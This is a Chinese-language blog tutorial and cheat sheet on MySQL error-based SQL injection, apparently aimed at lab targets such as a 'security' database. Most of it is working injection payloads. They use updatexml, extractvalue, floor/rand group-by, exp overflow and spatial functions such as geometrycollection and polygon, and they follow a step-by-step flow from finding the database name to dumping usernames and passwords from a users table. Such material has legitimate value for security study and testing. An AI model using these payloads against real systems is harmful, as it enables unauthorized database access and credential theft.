报错注入


1.报错注入的介绍

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。

报错注入分类

MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,根据漏洞原因的不同,可以将MySQL报错注入 分为以下几类:

  • BigInt等数据类型溢出
select !(select * from (select user())x)
  • xpath语法错误 xpath报错最多只能报出32位字符 所以要使用字符截取函数

  • count()+rand()+group_by()导致主键重复

  • 空间数据类型函数错误

id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+

2.报错注入的攻击流程

1.判断注入类型

先判断是字符型还是数字型

2.获取数据库名称

1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23

3.获取数据库表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23

4.获取字段名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)%23

union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+

5.获取字段内容

1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23

3.报错注入的一些函数

1.Updatexml()

函数语法:updatexml(XML_document, XPath_string, 
new_value);
适用版本: 5.1.5+
我们通常在第二个xpath参数填写我们要查询的内容。
updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数 的信息。
payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式从而报错。

2.extractvalue()

函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: extractvalue(1,concat(0x7e,(select user()),0x7e))

3.floor()

select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2)) 

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

4.exp

exp

id= 1 and exp(~(select * from(select database())x))
id = 1 and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)
id = 1 and exp(~(select * from(select column_name from information_schema.columns where table_name='' limit 0,1)x))

5.geometrycollection()

id =1 and geometrycollection((select * from(select *from(select database())a)b))

6.multipoint()

id = 1 and multipoint((select * from(select *from(select database())a)b))

7.polygon

id = 1 and polygon((select * from(select *from(select database())a)b))

8.multipolygon

id = 1 and multipolygon((select * from(select *from(select database())a)b))

9.linestring

id = 1 and linestring((select * from(select *from(select database())a)b))

10.multilinestring

id = 1 and multilinestring((select * from(select *from(select database())a)b))

文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录